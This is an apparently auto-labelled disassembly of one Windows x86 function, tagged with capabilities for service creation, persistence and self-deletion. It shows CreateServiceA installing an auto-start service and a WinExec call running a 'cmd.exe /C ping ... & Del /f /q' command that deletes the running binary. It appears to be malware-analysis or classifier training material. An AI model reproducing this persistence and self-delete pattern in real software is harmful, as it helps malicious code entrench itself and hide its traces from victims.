Function at 0x4010d0
Capabilities:
Create process on windows
Create service
Persist via windows service
Self delete

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x368
mov eax, dword [0x437068]
xor eax, esp
mov dword [esp + 0x364], eax
push esi
push edi
call fcn.00402190
mov ecx, eax
call fcn.00402d90
call fcn.00407a90
push 0xf003f
push 0
push 0
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x40116a
cmp dword [esi + 0x44], 0x10
lea ecx, [esi + 0x30]
jb 0x40111f
mov ecx, dword [ecx]
cmp dword [esi + 0x2c], 0x10
lea eax, [esi + 0x18]
jb 0x40112a
mov eax, dword [eax]
cmp dword [esi + 0x14], 0x10
jb 0x401132
mov esi, dword [esi]
push 0
push 0
push 0
push 0
push 0
push ecx
push 1
push 2
push 0x10
push 0xf01ff
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x40115e
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40116a
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push edi
call esi
call fcn.00407a90
mov ecx, eax
call fcn.00407f50
call fcn.00407a90
mov ecx, eax
call fcn.004081b0
call fcn.00402190
push 8
push str.install
lea ecx, [esp + 0x1c]
mov dword [esp + 0x2c], 0
mov esi, eax
mov dword [esp + 0x30], 0xf
mov byte [esp + 0x1c], 0
call fcn.00405550
cmp dword [esi + 0x1c], 0x10
lea eax, [esi + 8]
jb 0x4011ba
mov eax, dword [esi + 8]
push dword [esi + 0x18]
push eax
push ecx
lea ecx, [esp + 0x20]
call fcn.00406810
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x30], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x28]
movq qword [esp + 0x40], xmm0
cmp edx, 0x10
jb 0x401222
mov ecx, dword [esp + 0x14]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401218
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40131f
push edx
push ecx
call fcn.00409840
add esp, 8
sub esp, 0x18
lea eax, [esp + 0x48]
mov ecx, esp
push eax
call fcn.00403e60
call fcn.004072a0
mov edx, dword [esp + 0x5c]
add esp, 0x18
cmp edx, 0x10
jb 0x40126f
mov ecx, dword [esp + 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401265
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401324
push edx
push ecx
call fcn.00409840
add esp, 8
push 0x104
lea eax, [esp + 0x5c]
push 0
push eax
call fcn.0040b7c0
add esp, 0xc
lea eax, [esp + 0x160]
push 0x208
push 0
push eax
call fcn.0040b7c0
add esp, 0xc
lea eax, [esp + 0x58]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x164]
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
push eax
call fcn.00407240
add esp, 0xc
lea edx, [esp + 0x160]
call fcn.00407660
mov esi, eax
push 0xa
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
call fcn.00405ca0
movzx ecx, al
push ecx
mov ecx, esi
call fcn.00407910
mov ecx, esi
call fcn.00406f80
push 1
lea eax, [esp + 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [esp + 0x36c]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.004096fc
mov esp, ebp
pop ebp
ret 0x10
call fcn.0040f622
call fcn.0040f622
int3